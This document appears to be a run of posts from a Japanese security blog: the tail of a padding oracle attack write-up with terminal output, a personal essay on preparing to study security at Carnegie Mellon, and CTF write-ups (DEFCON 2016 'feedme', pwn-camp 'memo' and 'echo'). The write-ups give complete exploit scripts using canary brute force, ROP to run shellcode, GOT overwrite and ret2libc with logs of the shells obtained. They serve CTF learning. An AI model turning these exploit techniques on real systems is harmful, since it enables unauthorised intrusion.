[user@ubuntu] $ python enc.py tampered plain text: 'QXV0aGVudGljYXRpb24gc2VydmljZS4gVGhlIElEIGlzOiBhZG1pbg==\n\x07\x07\x07\x07\x07\x07\x07' 0%| | 0/4 [00:00<?, ?it/s] 0xef: 01 0x6b: 0202 0x27: 030303 0xa0: 04040404 0x0a: 0505050505 0x27: 060606060606 0x19: 07070707070707 0x7c: 0808080808080808 0x6c: 090909090909090909 0x98: 0a0a0a0a0a0a0a0a0a0a 0x9d: 0b0b0b0b0b0b0b0b0b0b0b 0xd0: 0c0c0c0c0c0c0c0c0c0c0c0c 0xc7: 0d0d0d0d0d0d0d0d0d0d0d0d0d 0x46: 0e0e0e0e0e0e0e0e0e0e0e0e0e0e 0x79: 0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f 0xc3: 10101010101010101010101010101010 [+] new Dec(c4): d37648cadc969265741e210fa42469ee [!] Updated c3 (snip) 0x4f: 01 0x6c: 0202 0x80: 030303 0xb6: 04040404 0xde: 0505050505 0x50: 060606060606 0xa7: 07070707070707 0xc5: 0808080808080808 0xa1: 090909090909090909 0x37: 0a0a0a0a0a0a0a0a0a0a 0x23: 0b0b0b0b0b0b0b0b0b0b0b 0xb8: 0c0c0c0c0c0c0c0c0c0c0c0c 0xd9: 0d0d0d0d0d0d0d0d0d0d0d0d0d 0x0b: 0e0e0e0e0e0e0e0e0e0e0e0e0e0e 0x95: 0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f 0xcf: 10101010101010101010101010101010 [+] new Dec(c1): df9a05d4b4283da8cda056dbb2836e4e [!] Updated c0 100%|█████████████████████████████████████████████████████████| 4/4 [01:28<00:00, 22.23s/it] [+] exploit [+] tampered cipher text: 8ec253e4d56f6bdda9e73ab1ebdb3c3edc73f09a0f81adf4eb98e7e227dd3584bd2dce1515871080ac03737e4324fc44893179babef1af587e192608a3236ee900000000000000000000000000000000 [+] interact mode. You are an authenticated user. Here is secret information: Padding Oracle Attack *** Connection closed by remote host *** [user@ubuntu] $
Decryption Attackにて手に入れた平文を使い、Encryption Attackにて暗号文の改ざんをしてadminユーザとしてログインすることができた。
まとめ
Padding Oracle Attackによる暗号文の解読と改ざんについて解説してみた。応用と言いつつも同じ計算式を使っただけなので応用というほどでもない。ただ、平文がわかっちゃう!というだけではない攻撃なので、Padding Oracleを見つけたら復号化されるリスクだけでなく、改ざんについても評価項目に入れて影響や対策を考えてみることが必要だと思う。
CMUの学生になってくる
明日からカーネギーメロン大学の授業が始まり、タイトルのとおり学生になってくる。
この記事は昨年度末ぐらいから書こうと思っていたが、タイミングを逸し続けていた。ただ、かなりの時間をこの準備にかけてきたし、同じような取り組みをしようとしている方がもしいるなら参考にもなるかもしれないので、備忘も兼ねてやってきたことを書こうと思う。
経緯
2016年の初めに、会社からMBAでなくセキュリティ系で留学にチャレンジしてみないかと声がかかる。この手の社費留学は会社では初めてらしく、突拍子のない話だった。正直、まず語学力からして留学を目指すなんて選択は自分のこれからの選択肢にすらなかったし、最初聞いたときには相談内容を理解するのに少し時間がかかった。ただ、開発の側面からではあるけど入社してからこれまでセキュリティのことばかり考えてきて、どうすればもっとレベルアップできるか少し悩んでいた自分にとっては願ってもいないチャンスだと思った。
今までは、会社を巻き込んで参加者が100人近くになるようなセキュリティコンテストを開催したり、メンバを募って外の大会に参加してみたり、ハッカソンを企画したりしたけど、どうしても自分の知識に偏りを感じていたし、何より同じようなことを目指す仲間たちとビジネスから離れたところで純粋に勉強/研究してみたいという思いもあった。
こうした思いが重なり、これをチャンスにチャレンジしてみようと思ったのがきっかけだった。
受験準備
チャレンジを決めたところで、まず最大の難関が語学力だった。自分の入社時の英語力は、ETSのレポート(pdf)によると日本人の平均ぐらいだった。まぁ500~600点の間ぐらい。そこから何年も英語の勉強をせず、英文に触れることさえ避け続けてきたため、英語力が壊滅的に不足していることは明らかだった。もしこの時点でTOEFLを受けたとしても、良くて40点台ぐらいだったんじゃないかと思う。準備は4月から9か月くらいだったけど、スケジュールにしてみると大きく
の流れとなった。(下図参照)
1. TOEFL対策
上述のとおり語学力の向上が課題だったので昨年の4月から通学できる語学学校や英会話を探しまくった。語学学校のアドバイザの方に相談したところ、自分の場合、ざっくり1,000時間程度は勉強が必要ではないかと言われたので、年内で1,000時間勉強することを目標にし、スケジュールにブレークダウンしていった。月あたり120時間ぐらい勉強すれば良さそうな計算のため、生活時間に組み込んだ結果、- 平日:お昼休みに英会話、金曜の終業後に語学学校。その他の終業後や通勤時間は自習&宿題
- 土日:語学学校やTOEFL受験
というスタイルにし、平日に3~4時間、休日に7~8時間を勉強時間とした。CTFの参加やセキュリティ関連の活動は当分できないと覚悟したし、実際それどころではなかった。
仕事との両立については、幸い理解のある職場であり、過度な業務量とならないよう調整してもらえたため、とても助かった。職場に協力者がいてくれたことは大変幸運だったし、成功のための重要な要素だとも思う。
英会話はGABAに通ったが、先生によって教え方に差がある。TOEFLのSpeaking練習向けにうまくカスタマイズしてくれる先生を見つけ、その先生のときにTOEFL対策をするようにした。語学学校では基礎力の向上と点数の取り方を学ぶ。勉強方法が明確になるため、独学よりもはるかに効率よく勉強することができた。
振り返ると一番時間がかかったところは単語力の強化とリスニング力の強化だった。特に後者は能力が線形に上がらないので実感しにくく、モチベーションの維持がつらかった。あとはTOEFL自体の受験も意外とキツい。試験が4時間半ぐらいのため、集中力を維持しつつ走りきる必要がある。受験者ごとに試験の開始時間が違うため、自分がReadingしている最中に他の人がマイクテストで “I live in Jamaica!!” とか言ってて集中力が全部持っていかれたときは泣きそうになった。
近道みたいなやり方はなかったけど、時間を割いてコツコツと積み重ねて少しずつ基礎力を上げていったのが点数に繋がっていったと思う。
毎日、何を何時間勉強したのかを記録することで、勉強時間を管理していった。目安の把握にもなるし、何より「これだけやってきたんだ」という自信になった。というよりこの数字にすがって続けることしかできなかったのかもしれない。
勉強方法や、TOEFLを受けるにあたっての会場や受験ノウハウとかは、今回は趣旨が違うので割愛する。
2. TOEFL + GRE + その他準備
夏が過ぎたところでGREと願書の準備にも目を向け始めた。TOEFLと両立する必要があるため本当につらい。自分の場合、「GREは2か月で集中してやっつける」方針で取り組んだ。アドミッションの方にヒアリングし、数学に一番に重点を置くべきということがわかったため、勉強はTOEFLを優先させつつ、GREは数学に重点を置き短期決戦にした。- GRE
GREとは、アメリカ大学院の進学に必要な共通試験である。大学卒の英語を話すネイティブ向けに作られている試験のため、日本人にとってこの試験を攻略することはハードルがめちゃくちゃ高い。まず試験のクレイジーさに呆れる。圧倒的なボキャブラリーの暴力。積み上げた単語力無視のサンドバッグ。設問の選択肢の単語がすべてわからないなんてのもある。こんな無理ゲー滅多にないと思う。
ジャンルは、簡単に言うと「英語で数学の問題を解く」「英文法や論理の問題を解く(激ムズ)」「英語小論文」の3つに分けられる。
数学はセンター試験の数学よりも簡単なため、ここをまずは落とさないようにし、英文法と小論文でどこまで食らいつけるか頑張るという戦法とした。英文法については、自分は最後までコツがわからず、点数も伸ばすことができなかった。このため最低ラインを取る心構えで臨んだ。小論文は「抽象的な話題に対する自分の意見を述べる」「論理的に弱い部分にツッコミを入れる」というテーマだが、TOEFLである程度の文章力はついてきていたため、GREの傾向と点数の取り方を学んだ上で、ツッコミの言い回しなどを覚えておくようにした。
あとGREで気を付けることといえば、サイトがよく落ちる(これには焦る)。よくわからんDB接続エラーかなんかの画面にも飛ばされたりする。それと公式スコアのPDFに過去受験した点数も表示されてしまう。特定スコアのみを出力する方法をETSに問い合わせたら「ペイントかなんかで加工してー」と返事が来たけどそれはアカンでしょうwと思った。
なので、できるだけ時期に余裕を持ち、スコアのPDFは毎回ダウンロードしておくことを心掛けると良いと思う。
- 履歴書
今までやってきたことを棚卸しして完成させる。日本と違い特にフォーマットは定められていないため、ネイティブの経験のある方に相談しながら “EDUCATION”, “PROFESSIONAL EXPERIENCE”, “ADDITIONAL INFORMATION” のような構成で書いていった。資格や職歴等だけでなく、成果も具体的・定量的に書けると良い。例えば、大学では全●●人の学生の中で首席だった、●メガラインのシステムをJavaで作り上げ性能を100倍にした、こんなプロジェクトでチームリーダーとして●●ドルの利益を創出した、チームを率いて●●のCTFで決勝大会に進んだ、といったイメージ。今から考え直すとまだ追加できる項目がいくつもあったなぁ。
- SoP / Essay
Statement of Purpose(志望理由書)は選考における比重が大きいため時間をかけて書いた。2016年の試験では以下4つについての記載が求められた。
1. このプログラムに応募する理由
2. 自分の技術に関するバックグラウンド
3. 今までやってきた研究内容や成果
4. リーダーシップの発揮経験と、その能力で大学にどのような価値をもたらせるのか
5. (その他特記事項、追記があれば)
自分の場合、運よく自分のやりたいことや過去の成果を棚卸しする機会が定期的にあったため(例えば会社の昇格試験とか)、それをもう一度咀嚼し、さらに入社以前のことも振り返りながら上記質問に合致する内容を書き上げた。MBA経験のあるネイティブの方にも見てもらい、コンテンツの強さや文法も踏まえたアドバイスをもらいながら執筆した。一貫性が必要となるが、自分の活動を定期的に棚卸しするという行動はこの上でもとても大事なことだと思う。
- 推薦状
一般的にアメリカの大学院留学では3通の推薦状が必要である。さらに、これの選考における比重は極めて大きい。学部卒や修士卒では、人によっては論文をそれほど持っていない場合もあり、推薦状が客観的な評価手段として有用だからだ。CMUも3通必要であったため、1通を大学のときの指導教官、2通を会社の直属上司とそのまた上司に書いてもらうようにした。忙しい方が多いので、推薦状の執筆方法は相談が必要である。自分の場合は、書いてもらうべきエピソードや執筆のやり方を最初に相談させてもらい、内容はネイティブの方からもアドバイスをもらえるよう手配した。具体的には、どんな内容で書いてもらえばよいか、原稿の一次案を自分が作成したほうが良いか、などを推薦者に合わせて相談させてもらった。
推薦状を誰に書いてもらうかだが、個人的には偉ければ偉いほど良いかというとそうではないと思う。有名な方からの「そんなに知らないけど推薦状書きました」よりも、「自分のことをよく知っている」方から具体的で中身のある内容を書いてもらうほうが良いと思うからだ。
そんな理由もあり、上司の上司から「私よりもっと偉い人に書いてもらったほうが良いのでは」という意見をもらったり、もっと上の方から私が書こうか、など声かけもしてもらったけれども、この人に必ず書いてもらおうと決めてお願いをしにいった。
数年前に仕事でしんどい思いをしていたときに、お前を手離すのはもったいないしぜひうちの部署に来ないかと言って拾ってくれた方だ。この方がいなければ今頃他の会社にいたかもしれないと思うし、勉強ばかりでつらかった時期に一番気にしてくれて応援してくれたのもこの方だった。この方に書いてもらわないことは自分の中ではありえなかった。実際、推薦状の中身はとても具体的で強力な内容にしていただくことができた。内容は3通とも強力で、書いていただいた3名の方には本当に感謝してもしきれない。
なお、他者との調整が入るため提出物で一番時間を要したのがこの項目だった。
- 成績証明書や卒業証明書
大学のときの成績や卒業証明書を英語版で発行してもらう。自分はGPAでいうと3.5以上はあり、そこそこ高かったので問題なかったが、もしGPAが低めの場合にはGREの点数などでカバーする必要が出てくると思う。
応募
大学への応募は、一般的には各大学の特色を調べ、「すべり止め」「実力に合うところ」「チャレンジ校」等をレベルに合わせて選定するのだと思うが、自分の場合はもともとの経緯もあり、一校のみに応募した。基本的に上記の情報を大学のオンラインページから投入するだけだが、TOEFLやGREは開催団体のETSからスコアを送付してもらう必要があるため、期限にだけは注意した(スコアの郵送時間が意外とかかる)。なので、スコア郵送期間を考えると受験自体は出願締め切りの2か月前には終えておくのが無難だと思う。ちなみにオンラインページの挙動でおやっと思うところがあったが脆弱性探しを控えたことは内緒だ。
合格
正直、TOEFLの点数が満足の行くものではなかったため、(語学力向上の)条件付き合格になるんじゃないかと思っていた。が、予想に反して本合格をもらえることができた。おそらくSoPや推薦状の内容から、「英語力は少し弱いけどITやセキュリティに関わってきてる面白い人」という印象を与えられたのだと思う。合格発表までの1ヶ月は気が気でなかったしなぜか熱が出たけど、合格したときは本当に嬉しかった。何より今までの頑張りが報われた瞬間だった。これから
秋のセメスターではまず入門的な内容が多いらしい。社会人として開発や解析の経験も積んできているし、今まで出ていた大会なんかで多少のアドバンテージもあるとは思う。例えばWiresharkを使ったパケット解析やBuffer Overflowを扱ったりといった内容もあるみたいで、内容によってはスタートアップは悪くないと思う。それでもまだ不安も大きいので、少しでも何かやっておこうと思い、例えば今月は苦手分野の暗号についてmodとか群、離散対数の基礎を見直したり、pwn challenges list(通称batalist)の問題を20問ぐらい解いてみたりしていた(ぜんぜん埋まらん…)。あとは脆弱性のあるWebアプリケーションを作成して内輪で公開したり実世界の脆弱性を見つけてみてIPAに報告したり。
正直、まだまだスキルは不足していると思うし、特に語学力面での不安もめちゃくちゃある。そこそこの頻度で徹夜も必要になると聞いていてビビっている。それでも、自分がどこまでやれるのか試したいし、ものすごい量の新しいことを吸収できる環境には最高に興奮している。
さいごに
つらいことがたくさんあった。準備中、何度も挫折しそうになったし、逃げそうになった。Listening力の向上を全然実感できずに、朝まで弱音を吐いて飲んだくれた。GREの難しさにひたすら茫然として海を見に行った。でもその間に自分と向き合って、まわりの人からも元気をもらって、その都度もう一回だけ頑張ろうと自分を奮い立たせてモチベーションを継続してこれた。
結局拠り所になったのが、つらい時に話せる仲間と、自分の強い決意と覚悟だと思った。本当に苦しくて折れそうになるし、孤独な闘いになるし、でもそのときにあと後ろ足一本でなんとか踏ん張れる力はここから来るんじゃなかろうか。
あと、SoP執筆のときに気付いたことだが、最初セキュリティの部署に配属されて情報セキュリティを学び始めたのがきっかけだったけど、振り返るとやってきたことって意外とちゃんと繋がっているなぁと思った(もちろん遠回りも大いにある)。今回の準備を通して、やってきていることは無駄になっていなかったんだな、と改めて気付くことができた。
そう思うと、悪いことばかりではないと思える。
明日から授業が始まる。期待も不安もある。そもそも全く通用しなかったらどうしよう、とか、あわよくばPPPにお近づきになれるかなぁ、とか、考えることは色々ある。けど、まずは環境にどっぷりつかってみて、走りながら考えを修正していこうと思う。どちらにせよこの機会を最大限に活用するつもりである。
おっと言い忘れた。
いよいよ明日が授業開始ですよ!
むっちゃドキドキしてきた…。
今日くらいは勉強は休んで明日に備えますよね?
それではおやすみなさい。
DEFCON CTF 2016 Quals: feedme
I had fun solving a problem of DEFCON CTF 2016 Quals in a few hours on May 21 with a friendly team, so I write about the problem I solved.
feedme
We got a binary file and url to connect the target server. First, I checked the state of this file as below:[root@ubuntu] # file feedme feedme: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, stripped [root@ubuntu] # [root@ubuntu] # ldd feedme not a dynamic executable [root@ubuntu] # [root@ubuntu] # gdb -q feedme Reading symbols from feedme...(no debugging symbols found)...done. gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : disabled gdb-peda$ q [root@ubuntu] # [root@ubuntu] # perl -e 'print "AAAA"'|./feedme > /dev/null [root@ubuntu] # perl -e 'print "A"x100'|./feedme > /dev/null *** stack smashing detected ***: ./feedme terminated [root@ubuntu] #
From the above results, we found out the following:
- provided file is ELF, running on x86, statically linked, and stripped
- buffer overflow occers when received long texts
- the process downs by SSP in spite of "CANARY : disabled"
- since this file is statically linked, it isn't affected by ASLR: ASLR doesn't randomize the address like "0x0804XXXX".
So, I guessed that we should use BOF and breakthrough the SSP to solve this problem.
Next, I read the file by using IDA. Fortunately, My teammate made a FLIRT signature file, so I imported, then read.
breakthrough the SSP
According to this file:- "___libc_fork" function makes child process, and it reads our input in a loop (800 times). When the file received our inputs, it works as follows:
(1) It reads the first character of inputted value.
(2) According to the value of (1), it decides how many bytes reads more, though a buffer size is only 32bytes.
The BOF occurs at this time. A value of Stack Canary doesn't change even though BOF occers and killed by SSP, because parent process doesn't die while the loop. It takes at most 256 * 3 times to find out a value of Stack Canary by using BruteForce. So we can use Canary Brute Force, and then ROP within 800 times. - the file listens our input for 150 seconds and exits. We have to solve in 150 seconds.
ROP
I searched the ROP Gadgets to make a ROP Chain. I found "sh\0" in the provided binary.[root@ubuntu] # strings -tx ./feedme|grep "sh" (snip) 7a678 clflush (snip) 8b1e1 _dl_setup_hash [root@ubuntu] #
This is useful to call 'system("sh")'. However, I couldn't find "system". So I had to solve in a different way.
There are some ways to solve this issue, and I chose a Shellcode Injection.
1. Call ___libc_read function
2. Send a Shellcode to .bss
3. Call ___mprotect to make .bss section executable.
4. Execute the Shellcode
I made the following Stack Layout.
As a result, I wrote a script bellow,
#!/usr/bin/python # -*- coding: utf-8 -*- import sys, socket, struct, telnetlib, time ###################### def sock(remoteip, remoteport): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((remoteip, remoteport)) f = s.makefile("rw", bufsize=0) return s, f def read_until(f, delim="\n"): data = "" while not data.endswith(delim): data += f.read(1) return data def shell(s): t = telnetlib.Telnet() t.sock = s t.interact() def p32(a): return struct.pack("<I", a) ###################### main def main(argv): if(len(argv) == 2 and argv[1] == "r"): print "[+] connect to remote." s, f = sock("feedme_47aa9b0d8ad186754acd4bece3d6a177.quals.shallweplayaga.me", 4092) else: print "[+] connect to local." s, f = sock("localhost", 4092) canary = "" read_until(f, "FEED ME!") while len(canary) < 4: for i in xrange(256): buf = "A" * 32 + canary + chr(i) f.write(chr(len(buf)) + buf) data = read_until(f, "FEED ME!") if "YUM" in data: canary += chr(i) print "[+] canary: %r" % chr(i) break print "[+] canary: %r" % canary sc = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80" bss_addr = 0x080e9000 read_addr = 0x0806d870 pppr_addr = 0x0804838c mprotect_addr = 0x0806e390 rop = "" # ___libc_read(STDIN, bss_addr+80, len(sc)) rop += p32(read_addr) rop += p32(pppr_addr) rop += p32(0) rop += p32(bss_addr+80) rop += p32(len(sc)) # ___mprotect(bss_addr, 0x1000, 7) rop += p32(mprotect_addr) rop += p32(bss_addr+80) rop += p32(bss_addr) rop += p32(0x1000) rop += p32(7) payload = "A" * 32 + canary + "A" * 0xc + rop f.write(chr(len(payload)) + payload) time.sleep(1) f.write(sc) print "[+] interact mode:" shell(s) if __name__ == "__main__": main(sys.argv)
then, ran it.
[root@ubuntu] # py exp.py r [+] connect to remote. [+] canary: '\x00' [+] canary: '\x05' [+] canary: '\x9d' [+] canary: ':' [+] canary: '\x00\x05\x9d:' [+] interact mode: ATE 41414141414141414141414141414141... bash -i ls feedme flag cat flag The flag is: It's too bad! we c0uldn't??! d0 the R0P CHAIN BLIND TOO
Finally, I got the flag yay!
Since it took under 150 seconds to find out the Stack Canary value and the flag, I didn't need to divise anymore.
pwn合宿 ~夏の陣~
昨日まで、都内某所でpwn合宿に参加してきたのでその感想を。
pwn合宿ではあるが、pwnばかりというよりは常設CTFとかMMA CTFを各自やったり妨害コンテンツのアニメに見入ったりして、pwnはほとんどできない楽しい内容だった。
基本的にはもくもく会だったが、今までチームメイト以外の人と一緒にpwnとかCTF合宿をやる機会がなかった自分にはこうした経験は刺激も大きく、参加してよかったと思える合宿だった。
個人的に一番良かったと思えたのは、合間で色んな人と話ができたこと。
問題を解いた後に他の解法を聞いてみたり、問題以外でも日ごろ感じていることを話したり、経験したことがないCTFの話に聞き入ったり。
特にチームビルディングの話は面白くて、みんな色々と考えているんだな、と知れたことも収穫だった。
今回用に問題を作ってもらったものもあったので、せっかくなので少し紹介したい。
4問あって、heap overflowの問題はBOFさせるところまでは行って試行錯誤したけど解いていないためそれ以外の2問を書こうと思う。
memo
netcatでサーバに接続すると、名前とパスワードを聞かれる。[root@ubuntu] # nc XXXXXXXXXX 10005 Input your name. (name)aaaa Input your password. (pass)bbbb Wrong password...
ファイルを見るとx86バイナリ。保護機構を見てみると、Canary と NX が有効となっている。
gdb-peda$ checksec CANARY : ENABLED FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : disabled
バイナリを読むと、xinetd ライクに動いており、
- (name)の入力で、fgetsから42文字入力
- (pass)の入力で、fgetsから128文字入力
- パスワードが合っている場合、(memo)の入力ができ、fgetsから128文字入力
- バイナリ内のパスワードは"h4v3_4_n1c3_pwn_c4mp!"で固定
- (pass)で入力した文字列は、0x15番目のoffset を 0x00 にしてから比較。つまり"h4v3_4_n1c3_pwn_c4mp!"のあとは任意の文字を入力しておける
ということがわかる。
[root@ubuntu] # nc XXXXXXXXXX 10005 Input your name. (name)aaaa Input your password. (pass)h4v3_4_n1c3_pwn_c4mp!bbbbbbbbbbbbbbbbbbbbbbbb Hi, aaaa Write your memo. (memo)cccc
次に、文字列が読み込まれる場所を見ると3つともStack上に読み込んでいる。
また、3回それぞれの文字列の読込先もStack上に存在しており、さらに2回目と3回目の読込先は、1回目の文字列で上書きすることができる。
x/10wx 0xffffcf02 (1回目の読込先Addr) 0xffffcf02: 0xea71ffff 0xaac807b1 0xa858f7e1 0x0bf8f7fd 0xffffcf12: 0x0d56f7e2 0xd000f7ff 0xf4e2f7ff 0xd55cf7fd 0xffffcf22: 0xffffcf2c 0xffffcfac ↑2回目読込先 ↑3回目読込先
32文字入力した後から、2回目と3回目の読込先情報がOverwriteできる。
次に、書き込み可能な箇所を調べるためにメモリマップを見てみる。
gdb-peda$ vmmap Start End Perm Name 0x08048000 0x08049000 r-xp /home/pwncamp2015/memo-3218e32a5e0d8e5216ceaa1230d1c4f60c267038 0x08049000 0x0804a000 rw-p /home/pwncamp2015/memo-3218e32a5e0d8e5216ceaa1230d1c4f60c267038 0x0804c000 0x0804d000 rwxp mapped 0xf7e13000 0xf7e14000 rw-p mapped 0xf7e14000 0xf7fbc000 r-xp /lib/i386-linux-gnu/libc.so.6 0xf7fbc000 0xf7fbe000 r--p /lib/i386-linux-gnu/libc.so.6 0xf7fbe000 0xf7fbf000 rw-p /lib/i386-linux-gnu/libc.so.6 0xf7fbf000 0xf7fc2000 rw-p mapped 0xf7fd8000 0xf7fdb000 rw-p mapped 0xf7fdb000 0xf7fdc000 r-xp [vdso] 0xf7fdc000 0xf7ffc000 r-xp /lib/i386-linux-gnu/ld-2.19.so 0xf7ffc000 0xf7ffd000 r--p /lib/i386-linux-gnu/ld-2.19.so 0xf7ffd000 0xf7ffe000 rw-p /lib/i386-linux-gnu/ld-2.19.so 0xfffdd000 0xffffe000 rw-p [stack]
rwxな領域も存在することがわかる。
ここで攻撃方針が立つ。
- 1回目の書き込みで、2回目の読込先をrwx領域に、3回目の読込先をどこかのgotに変える。
- 2回目の書き込みで、"h4v3_4_n1c3_pwn_c4mp!" の文字列と、その後にシェルコードを送り込む
- 3回目の書き込みで、どこかのgotをシェルコードの先頭を指すよう書き換える
- gotに飛んだときにシェルコード発動
しかし、静的解析をしていると3回目のfgets(赤線)の後にはlibcの関数を呼ばずにmainが終了していることがわかる。
x86のためBruteForceでリターンアドレスを書き換えることはできるがもっと良い方法はないものか。
ここで、gdbでmain関数からのReturnを読んでみると、Return後の exit 関数の中で munmap.plt を呼んでいる箇所があった。
main関数だけ見てたら気付かないわけだ…
というわけで3回目の書き込み先は munmap@got.plt にする。
#!/usr/bin/python # -*- coding: utf-8 -*- import sys, socket, struct, telnetlib ###################### useful function definition def sock(remoteip, remoteport): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((remoteip, remoteport)) f = s.makefile('rw', bufsize=0) return s, f def read_until(f, delim='\n'): data = '' while not data.endswith(delim): data += f.read(1) return data def shell(s): t = telnetlib.Telnet() t.sock = s t.interact() def p(a): return struct.pack("<I", a) ###################### main def main(argv): rwx = 0x804c000 got_munmap = 0x8049ba4 shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80" keyword = "h4v3_4_n1c3_pwn_c4mp!" if(len(argv) == 2 and argv[1] == 'r'): print "[+] connect to remote." s, f = sock("XXXXXXXXXX", 10005) else: print "[+] connect to local." s, f = sock("localhost", 10005) ret = read_until(f, "(name)") print ret buf = 'A' * 32 buf += p(rwx) buf += p(got_munmap) f.write(buf+'\n') ret = read_until(f, "(pass)") print ret buf2 = keyword buf2 += shellcode f.write(buf2+'\n') ret = read_until(f) print ret buf3 = p(rwx+len(keyword)) f.write(buf3+'\n') shell(s) if __name__ == '__main__': main(sys.argv)
これでシェルを取得することができた。
[root@ubuntu] # python exploit_memo.py r [+] connect to remote. Input your name. (name) Input your password. (pass) Hi, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Write your memo. (memo)ls bin boot dev etc home lib lib32 lib64 media mnt opt proc root run sbin srv sys tmp usr var cat /home/*/flag PWN{enjoypwncamp} exit *** Connection closed by remote host *** [root@ubuntu] #
mainの後とか意識していなかったので勉強になった。
echo
netcatで接続すると、メッセージを入力するように言われ、入力するとそれを返すプログラムの模様。[root@ubuntu] # nc XXXXXXXXXX 10004 Welcome to Echo Server Input your message >>AAAAA Okay! I recieved 6 bytes AAAAA Bye!
ファイルは同じくx86バイナリ。保護機構も memo とほぼ同様だ。RELROがPartialなので lazy binding が有効。
gdb-peda$ checksec CANARY : ENABLED FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial
バイナリを読むとforkサーバが実装されているため、親プロセスが死なない限りはアドレス位置や Canary値は変わらない。
このサーバではFD4で接続し、1024文字の入力を recv している。ここで Stack Overflow ができるようになっているが、513文字目から Canary を上書きしてしまうため切断されてしまう。
このプログラムはforkサーバ型なので、Canary BruteForce にて1バイトずつ Canary をリークさせる方針を取る。
その後、dup2にて入出力のファイルディスクリプタを4に差し替え、execve を呼ぶ。
バイナリ内で利用されているdprintfで情報をリークしようとしたがうまく行かないので、仕方なしに libc_base を推測して Brute Force することにした。
なんかBruteばっかりだな…ということでこの問題は ASLR を有効にした自サーバに打つ。
libc_baseは、32bitマシンか64bitマシンで値が違うが、自サーバは64bitマシンで動かしているため 0xf7500000 あたりから0x1000ずつ増やしていけば当たるだろう(ちなみに libc.so.6 は与えられている)。
#!/usr/bin/python # -*- coding: utf-8 -*- import sys, socket, struct, telnetlib, signal ###################### useful function definition def sock(remoteip, remoteport): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((remoteip, remoteport)) f = s.makefile('rw', bufsize=0) return s, f def read_until(f, delim='\n'): data = '' while not data.endswith(delim): data += f.read(1) return data def shell(s): t = telnetlib.Telnet() t.sock = s t.interact() def p(a): return struct.pack("<I", a) ###################### main class TimeoutError(Exception): pass def handler(signum, frame): raise TimeoutError() def canaryBruteForce(buf): for i in range(0x100): signal.alarm(0) signal.alarm(1) #print "[+] %d..." % i try: s, f = sock("localhost", 10004) ret = read_until(f) buf1 = buf + chr(i) f.write(buf1) ret = read_until(f) ret = read_until(f) ret = read_until(f) ret = read_until(f) if("Bye!" in ret): print "[+] value is: 0x%02x" % i return buf1 except: pass def main(argv): socketfd = 4 libc_base = 0xf7500000 execve_addr = libc_base + 0xb5be0 dup2_addr = libc_base + 0xdb590 binsh_addr = libc_base + 0x160a24 exit_addr = libc_base + 0x331e0 pop2ret = 0x8048b95 pop3ret = 0x8048b94 buf = "A" * 512 ### guessing Canary print "[+] find Canary" print "[+] finding 1st byte" signal.signal(signal.SIGALRM, handler) buf = canaryBruteForce(buf) print "[+] finding 2nd byte" buf = canaryBruteForce(buf) print "[+] finding 3rd byte" buf = canaryBruteForce(buf) print "[+] finding 4th byte" buf = canaryBruteForce(buf) signal.alarm(0) print "[+] Canary found. start ret2libc" for i in range(0x200): offset = i * 0x1000 print "[+] libc_base: 0x%08x" % (libc_base + offset) buf1 = buf buf1 += "A" * 12 buf1 += p(offset + dup2_addr) buf1 += p(pop2ret) buf1 += p(socketfd) buf1 += p(0) buf1 += p(offset + dup2_addr) buf1 += p(pop2ret) buf1 += p(socketfd) buf1 += p(1) buf1 += p(offset + dup2_addr) buf1 += p(pop2ret) buf1 += p(socketfd) buf1 += p(2) buf1 += p(offset + execve_addr) buf1 += p(pop3ret) buf1 += p(offset + binsh_addr) buf1 += p(0) buf1 += p(0) buf1 += p(offset + exit_addr) buf1 += "AAAA" buf1 += p(0) s, f = sock("localhost", 10004) ret = read_until(f) f.write(buf1+'\n') shell(s) if __name__ == '__main__': main(sys.argv)
これでシェルを取ることができた。
[root@ubuntu] # python exploit_echo_local.py [+] find Canary [+] finding 1st byte [+] value is: 0x00 [+] finding 2nd byte [+] value is: 0x5b [+] finding 3rd byte [+] value is: 0x12 [+] finding 4th byte [+] value is: 0xa5 [+] Canary found. start ret2libc [+] libc_base: 0xf7500000 (snip) [+] libc_base: 0xf75dc000 Input your message >>Okay! I recieved 609 bytes AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ls / bin boot cdrom dev etc home initrd.img lib lib32 lib64 libx32 lost+found media mnt opt proc root run sbin srv sys tmp usr var vmlinuz exit *** Connection closed by remote host ***
Return to dl-runtime-resolve とかでいけるかな、とか思いつつもまだ不勉強なのでやらなかった。
もう少しキレイに解けたら追記しようと思う(pwnにきれいさはいらないとは思うが…)。
追記:
投稿後に普通に dprintf でリークできるよというツッコミをいただいた。
